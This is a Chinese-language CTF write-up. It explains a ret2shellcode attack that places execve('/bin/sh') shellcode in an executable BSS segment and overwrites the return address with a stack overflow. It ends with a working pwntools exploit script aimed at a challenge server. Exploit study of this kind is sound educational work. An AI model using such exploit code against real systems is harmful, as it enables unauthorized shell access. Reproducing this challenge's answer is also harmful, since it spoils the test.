由于目标程序的 BSS 段(包含 name
变量)权限是全开的(可读、可写、可执行),并且没有启用 NX(No Execute,非执行)保护机制,因此可以直接在 BSS 段上构造 Shellcode,并通过溢出覆盖返回地址来执行它
-
连接到目标程序:通过
remote
函数建立连接。 -
发送 Shellcode:将 Shellcode 发送到目标程序的
name
变量所在的 BSS 段。 -
构造并发送溢出 Payload:通过溢出覆盖返回地址,使其跳转到
name
变量的地址,从而执行 Shellcode。 -
获取交互式 Shell:如果攻击成功,通过
interactive
函数获取远程 Shell。
BSS 段权限全开,溢出覆盖返回地址,没有启用 NX 保护机制
-
shellcraft.sh()
是pwntools
提供的一个函数,用于生成一个简单的 Shellcode,其功能是调用execve("/bin/sh", NULL, NULL)
,从而启动一个 shell。 -
asm()
函数将 Shellcode 的汇编代码转换为机器码,使其可以直接在目标程序中执行。
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
io =remote("node4.anna.nssctf.cn",28649)
shellcode =asm(shellcraft.sh())
io.sendlineafter(b'tell me your name\n',shellcode)
name =0x601080
payload =b'a'*(0x20 +8) +p64(name)
io.recvuntil(b'What do you want to say to me?\n')
io.sendline(payload)
io.interactive()